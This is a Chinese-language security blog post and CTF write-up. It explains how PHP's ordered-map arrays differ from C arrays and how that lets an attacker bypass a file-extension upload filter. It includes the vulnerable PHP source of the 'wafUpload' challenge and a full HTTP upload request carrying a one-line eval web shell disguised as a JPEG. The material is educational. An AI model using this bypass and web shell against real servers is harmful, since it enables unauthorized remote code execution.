PHP数组与c数组差异而引发的安全问题

C语言数组

C语言的数组都是由连续的内存位置组成。最低的地址对应第一个元素,最高的地址对应最后一个元素。

设有一个数组

1
int array[2];

无论是先给array[0]赋值,还是先给array[1]赋值,其在内存中的排序都是array[0]在前面array[1]在后面,所以无论是用指针指向array的最后一个单元还是直接引用array[1]的值,其所指的都是同一个值。

PHP的数组

而PHP数组与C语言数组不一样,PHP 中的数组实际上是一个有序映射。映射是一种把 values 关联到 keys 的类型。此类型在很多方面做了优化,因此可以把它当成真正的数组,或列表(向量),散列表(是映射的一种实现),字典,集合,栈,队列以及更多可能性。由于数组元素的值也可以是另一个数组,树形结构和多维数组也是允许的。
贴上一个简易的上传过滤源码

<?php
    $file = $_GET['file'];
    if (!is_array($file)) {
        $file = explode('.', strtolower($file));
    }
    print_r ($file);
    echo '</br>';
    $ext = end($file);
    if (!in_array($ext, ['jpg', 'png', 'gif'])) {
        print('This file is not allowed!</br>');
    }
    else print('success!</br>');
    var_dump($file);
    echo '</br>';
    $filename = reset($file) . '.' . $file[count($file) - 1];
    echo 'filename:'.$filename;
    echo '</br>';
    echo 'end($file):'.end($file);
?>

如图file[0]file[1]都是由get传参,如果先给file[0]赋值png,再给file[1]赋值php的话,会被拦截。

file[0]=png&file[1]=php

但是如果先给file[1]赋值php,再给file[0]赋值png的话,则可以成功绕过过滤规则上传。

file[1]=php&file[0]=png

演示截图:

代码第六行和第十二行将其显示出来,由图右侧可见,如果先给file[0]赋值png,再给file[1]赋值php的话,数组是Array ( [0] => png [1] => php ),会被拦截。

而如果先给file[1]赋值php,再给file[0]赋值png的话,数组就是Array ( [1] => php [0] => png ) ,它所占内存区域中最后一个单元是file[0]=>png,而不像C语言一样是file[1],所以如果过滤代码一方面用end()来取出数组最后一个单元,而另外一处却用$file[count($file) - 1]来取出最后一个单元,就会存在有绕过的漏洞。

拿python来比较一下更好说明

  • C语言的数组更像Python 列表(List)
  • 而PHP的数组像Python 字典(Dictionary)

涉及到的CTF: 网鼎杯第二场的上传题–wafUpload

<?php
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}

#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}

$filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}
}
show_source(__file__);
?>
  • 第8-10行mime check部分 MIME 类型检测,使用图片马绕过。
  • 第12-20行check filename部分 对文件后缀进行了检测,而后缀名则是取 $file 数组中最后一个元素。然后在生成文件的时候,文件名取$file 数组的最后一个元素做后缀,这明显存在绕过。我们只要控制$file数组中参数的即可绕过并 getshell ,请求数据包如下
POST / HTTP/1.1
Host: 4b590ee044fe8fb3a180712f8407e4136069037e.game.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://4b590ee044fe8fb3a180712f8407e4136069037e.game.ichunqiu.com/
Content-Type: multipart/form-data; boundary=---------------------------9930139772306
Content-Length: 524
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------9930139772123
Content-Disposition: form-data; name="filename[1]"

php
-----------------------------9930139772123
Content-Disposition: form-data; name="filename[0]"

png
-----------------------------9930139772123
Content-Disposition: form-data; name="file"; filename="fdrag0n.jpg"
Content-Type: image/jpeg

<?php @eval($_POST['a']);?>
-----------------------------9930139772123
Content-Disposition: form-data; name="submit"

Submit
-----------------------------9930139772123--